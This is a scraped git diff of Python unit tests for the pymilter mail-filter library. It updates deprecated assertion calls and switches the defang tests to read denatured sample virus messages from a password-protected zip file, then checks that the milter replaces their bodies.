unittest.main()
|
||||||
|
else:
|
||||||
|
a = sys.argv[1:]
|
||||||
|
while len(a) >= 2:
|
||||||
|
e,k = a[:2]
|
||||||
|
with MTAPolicy(e,conf=Config()) as p:
|
||||||
|
pol = p.getPolicy(k)
|
||||||
|
print(pol)
|
||||||
|
a = a[2:]
|
||||||
+103
-23
@@ -1,8 +1,11 @@
|
|||||||
import unittest
|
import unittest
|
||||||
import Milter
|
import Milter
|
||||||
import sample
|
import sample
|
||||||
|
import template
|
||||||
import mime
|
import mime
|
||||||
|
import zipfile
|
||||||
from Milter.test import TestBase
|
from Milter.test import TestBase
|
||||||
|
from Milter.testctx import TestCtx
|
||||||
|
|
||||||
class TestMilter(TestBase,sample.sampleMilter):
|
class TestMilter(TestBase,sample.sampleMilter):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
@@ -11,21 +14,93 @@ class TestMilter(TestBase,sample.sampleMilter):
|
|||||||
|
|
||||||
class BMSMilterTestCase(unittest.TestCase):
|
class BMSMilterTestCase(unittest.TestCase):
|
||||||
|
|
||||||
|
def setUp(self):
|
||||||
|
self.zf = zipfile.ZipFile('test/virus.zip','r')
|
||||||
|
self.zf.setpassword(b'denatured')
|
||||||
|
|
||||||
|
def tearDown(self):
|
||||||
|
self.zf.close()
|
||||||
|
self.zf = None
|
||||||
|
|
||||||
|
def testTemplate(self,fname='test2'):
|
||||||
|
ctx = TestCtx()
|
||||||
|
Milter.factory = template.myMilter
|
||||||
|
ctx._setsymval('{auth_authen}','batman')
|
||||||
|
ctx._setsymval('{auth_type}','batcomputer')
|
||||||
|
ctx._setsymval('j','mailhost')
|
||||||
|
count = 10
|
||||||
|
while count > 0:
|
||||||
|
rc = ctx._connect(helo='milter-template.example.org')
|
||||||
|
self.assertEqual(rc,Milter.CONTINUE)
|
||||||
|
with open('test/'+fname,'rb') as fp:
|
||||||
|
rc = ctx._feedFile(fp)
|
||||||
|
milter = ctx.getpriv()
|
||||||
|
self.assertFalse(ctx._bodyreplaced,"Message body replaced")
|
||||||
|
ctx._close()
|
||||||
|
count -= 1
|
||||||
|
|
||||||
|
def testHeader(self,fname='utf8'):
|
||||||
|
ctx = TestCtx()
|
||||||
|
Milter.factory = sample.sampleMilter
|
||||||
|
ctx._setsymval('{auth_authen}','batman')
|
||||||
|
ctx._setsymval('{auth_type}','batcomputer')
|
||||||
|
ctx._setsymval('j','mailhost')
|
||||||
|
rc = ctx._connect()
|
||||||
|
self.assertEqual(rc,Milter.CONTINUE)
|
||||||
|
with open('test/'+fname,'rb') as fp:
|
||||||
|
rc = ctx._feedFile(fp)
|
||||||
|
milter = ctx.getpriv()
|
||||||
|
self.assertFalse(ctx._bodyreplaced,"Message body replaced")
|
||||||
|
fp = ctx._body
|
||||||
|
with open('test/'+fname+".tstout","wb") as ofp:
|
||||||
|
ofp.write(fp.getvalue())
|
||||||
|
ctx._close()
|
||||||
|
|
||||||
|
def testCtx(self,fname='virus1'):
|
||||||
|
ctx = TestCtx()
|
||||||
|
Milter.factory = sample.sampleMilter
|
||||||
|
ctx._setsymval('{auth_authen}','batman')
|
||||||
|
ctx._setsymval('{auth_type}','batcomputer')
|
||||||
|
ctx._setsymval('j','mailhost')
|
||||||
|
rc = ctx._connect()
|
||||||
|
self.assertTrue(rc == Milter.CONTINUE)
|
||||||
|
with self.zf.open(fname) as fp:
|
||||||
|
rc = ctx._feedFile(fp)
|
||||||
|
milter = ctx.getpriv()
|
||||||
|
# self.assertTrue(milter.user == 'batman',"getsymval failed: "+
|
||||||
|
# "%s != %s"%(milter.user,'batman'))
|
||||||
|
self.assertEqual(milter.user,'batman')
|
||||||
|
self.assertTrue(milter.auth_type != 'batcomputer',"setsymlist failed")
|
||||||
|
self.assertTrue(rc == Milter.ACCEPT)
|
||||||
|
self.assertTrue(ctx._bodyreplaced,"Message body not replaced")
|
||||||
|
fp = ctx._body
|
||||||
|
with open('test/'+fname+".tstout","wb") as f:
|
||||||
|
f.write(fp.getvalue())
|
||||||
|
#self.assertTrue(fp.getvalue() == open("test/virus1.out","r").read())
|
||||||
|
fp.seek(0)
|
||||||
|
msg = mime.message_from_file(fp)
|
||||||
|
s = msg.get_payload(1).get_payload()
|
||||||
|
milter.log(s)
|
||||||
|
ctx._close()
|
||||||
|
|
||||||
def testDefang(self,fname='virus1'):
|
def testDefang(self,fname='virus1'):
|
||||||
milter = TestMilter()
|
milter = TestMilter()
|
||||||
milter.setsymval('{auth_authen}','batman')
|
milter.setsymval('{auth_authen}','batman')
|
||||||
milter.setsymval('{auth_type}','batcomputer')
|
milter.setsymval('{auth_type}','batcomputer')
|
||||||
milter.setsymval('j','mailhost')
|
milter.setsymval('j','mailhost')
|
||||||
rc = milter.connect()
|
rc = milter.connect()
|
||||||
self.failUnless(rc == Milter.CONTINUE)
|
self.assertTrue(rc == Milter.CONTINUE)
|
||||||
rc = milter.feedMsg(fname)
|
with self.zf.open(fname) as fp:
|
||||||
self.failUnless(milter.user == 'batman',"getsymval failed")
|
rc = milter.feedFile(fp)
|
||||||
self.failUnless(milter.auth_type != 'batcomputer',"setsymlist failed")
|
self.assertTrue(milter.user == 'batman',"getsymval failed")
|
||||||
self.failUnless(rc == Milter.ACCEPT)
|
# setsymlist not working in TestBase
|
||||||
self.failUnless(milter._bodyreplaced,"Message body not replaced")
|
#self.assertTrue(milter.auth_type != 'batcomputer',"setsymlist failed")
|
||||||
|
self.assertTrue(rc == Milter.ACCEPT)
|
||||||
|
self.assertTrue(milter._bodyreplaced,"Message body not replaced")
|
||||||
fp = milter._body
|
fp = milter._body
|
||||||
open('test/'+fname+".tstout","wb").write(fp.getvalue())
|
with open('test/'+fname+".tstout","wb") as f:
|
||||||
#self.failUnless(fp.getvalue() == open("test/virus1.out","r").read())
|
f.write(fp.getvalue())
|
||||||
|
#self.assertTrue(fp.getvalue() == open("test/virus1.out","r").read())
|
||||||
fp.seek(0)
|
fp.seek(0)
|
||||||
msg = mime.message_from_file(fp)
|
msg = mime.message_from_file(fp)
|
||||||
s = msg.get_payload(1).get_payload()
|
s = msg.get_payload(1).get_payload()
|
||||||
@@ -36,30 +111,35 @@ class BMSMilterTestCase(unittest.TestCase):
|
|||||||
milter = TestMilter()
|
milter = TestMilter()
|
||||||
milter.connect('somehost')
|
milter.connect('somehost')
|
||||||
rc = milter.feedMsg(fname)
|
rc = milter.feedMsg(fname)
|
||||||
self.failUnless(rc == Milter.ACCEPT)
|
self.assertTrue(rc == Milter.ACCEPT)
|
||||||
self.failIf(milter._bodyreplaced,"Milter needlessly replaced body.")
|
self.assertFalse(milter._bodyreplaced,"Milter needlessly replaced body.")
|
||||||
fp = milter._body
|
fp = milter._body
|
||||||
open('test/'+fname+".tstout","wb").write(fp.getvalue())
|
with open('test/'+fname+".tstout","wb") as f:
|
||||||
|
f.write(fp.getvalue())
|
||||||
milter.close()
|
milter.close()
|
||||||
|
|
||||||
def testDefang2(self):
|
def testDefang2(self):
|
||||||
milter = TestMilter()
|
milter = TestMilter()
|
||||||
milter.connect('somehost')
|
milter.connect('somehost')
|
||||||
rc = milter.feedMsg('samp1')
|
rc = milter.feedMsg('samp1')
|
||||||
self.failUnless(rc == Milter.ACCEPT)
|
self.assertTrue(rc == Milter.ACCEPT)
|
||||||
self.failIf(milter._bodyreplaced,"Milter needlessly replaced body.")
|
self.assertFalse(milter._bodyreplaced,"Milter needlessly replaced body.")
|
||||||
rc = milter.feedMsg("virus3")
|
with self.zf.open("virus3") as fp:
|
||||||
self.failUnless(rc == Milter.ACCEPT)
|
rc = milter.feedFile(fp)
|
||||||
self.failUnless(milter._bodyreplaced,"Message body not replaced")
|
self.assertTrue(rc == Milter.ACCEPT)
|
||||||
|
self.assertTrue(milter._bodyreplaced,"Message body not replaced")
|
||||||
fp = milter._body
|
fp = milter._body
|
||||||
open("test/virus3.tstout","wb").write(fp.getvalue())
|
with open("test/virus3.tstout","wb") as f:
|
||||||
#self.failUnless(fp.getvalue() == open("test/virus3.out","r").read())
|
f.write(fp.getvalue())
|
||||||
rc = milter.feedMsg("virus6")
|
#self.assertTrue(fp.getvalue() == open("test/virus3.out","r").read())
|
||||||
self.failUnless(rc == Milter.ACCEPT)
|
with self.zf.open("virus6") as fp:
|
||||||
self.failUnless(milter._bodyreplaced,"Message body not replaced")
|
rc = milter.feedFile(fp)
|
||||||
self.failUnless(milter._headerschanged,"Message headers not adjusted")
|
self.assertTrue(rc == Milter.ACCEPT)
|
||||||
|
self.assertTrue(milter._bodyreplaced,"Message body not replaced")
|
||||||
|
self.assertTrue(milter._headerschanged,"Message headers not adjusted")
|
||||||
fp = milter._body
|
fp = milter._body
|
||||||
open("test/virus6.tstout","wb").write(fp.getvalue())
|
with open("test/virus6.tstout","wb") as f:
|
||||||
|
f.write(fp.getvalue())
|
||||||
milter.close()
|
milter.close()
|
||||||
|
|
||||||
def suite(): return unittest.makeSuite(BMSMilterTestCase,'test')
|
def suite(): return unittest.makeSuite(BMSMilterTestCase,'test')
|
||||||
|
|||||||
+13
-10
@@ -21,29 +21,32 @@ class AddrCacheTestCase(unittest.TestCase):
|
|||||||
cache['foo@bar.com'] = None
|
cache['foo@bar.com'] = None
|
||||||
cache.addperm('baz@bar.com')
|
cache.addperm('baz@bar.com')
|
||||||
cache['temp@bar.com'] = 'testing'
|
cache['temp@bar.com'] = 'testing'
|
||||||
self.failUnless(cache.has_key('foo@bar.com'))
|
self.assertTrue(cache.has_key('foo@bar.com'))
|
||||||
self.failUnless(not cache.has_key('hello@bar.com'))
|
self.assertTrue(not cache.has_key('hello@bar.com'))
|
||||||
self.failUnless('baz@bar.com' in cache)
|
self.assertTrue('baz@bar.com' in cache)
|
||||||
self.assertEquals(cache['temp@bar.com'],'testing')
|
self.assertEqual(cache['temp@bar.com'],'testing')
|
||||||
s = open(self.fname).readlines()
|
s = open(self.fname).readlines()
|
||||||
self.failUnless(len(s) == 2)
|
self.assertTrue(len(s) == 2)
|
||||||
self.failUnless(s[0].startswith('foo@bar.com '))
|
self.assertTrue(s[0].startswith('foo@bar.com '))
|
||||||
self.assertEquals(s[1].strip(),'baz@bar.com')
|
self.assertEqual(s[1].strip(),'baz@bar.com')
|
||||||
# check that new result overrides old
|
# check that new result overrides old
|
||||||
cache['temp@bar.com'] = None
|
cache['temp@bar.com'] = None
|
||||||
self.failUnless(not cache['temp@bar.com'])
|
self.assertTrue(not cache['temp@bar.com'])
|
||||||
|
|
||||||
def testDomain(self):
|
def testDomain(self):
|
||||||
with open(self.fname,'w') as fp:
|
with open(self.fname,'w') as fp:
|
||||||
print('spammer.com',file=fp)
|
print('spammer.com',file=fp)
|
||||||
cache = AddrCache(fname=self.fname)
|
cache = AddrCache(fname=self.fname)
|
||||||
cache.load(self.fname,30)
|
cache.load(self.fname,30)
|
||||||
self.failUnless('spammer.com' in cache)
|
self.assertTrue('spammer.com' in cache)
|
||||||
|
|
||||||
def testParseHeader(self):
|
def testParseHeader(self):
|
||||||
s='=?UTF-8?B?TGFzdCBGZXcgQ29sZHBsYXkgQWxidW0gQXJ0d29ya3MgQXZhaWxhYmxlAA?='
|
s='=?UTF-8?B?TGFzdCBGZXcgQ29sZHBsYXkgQWxidW0gQXJ0d29ya3MgQXZhaWxhYmxlAA?='
|
||||||
h = Milter.utils.parse_header(s)
|
h = Milter.utils.parse_header(s)
|
||||||
self.assertEqual(h,b'Last Few Coldplay Album Artworks Available\x00')
|
self.assertEqual(h,'Last Few Coldplay Album Artworks Available\x00')
|
||||||
|
s='=?iso-8859-1?Q?Peter_=D8rum?= <orum@ditas.dk>'
|
||||||
|
h = Milter.utils.parse_header(s)
|
||||||
|
self.assertEqual(h,'Peter \xd8rum <orum@ditas.dk>')
|
||||||
|
|
||||||
@unittest.expectedFailure
|
@unittest.expectedFailure
|
||||||
def testParseAddress(self):
|
def testParseAddress(self):
|
||||||
|
|||||||
Reference in New Issue
Block a user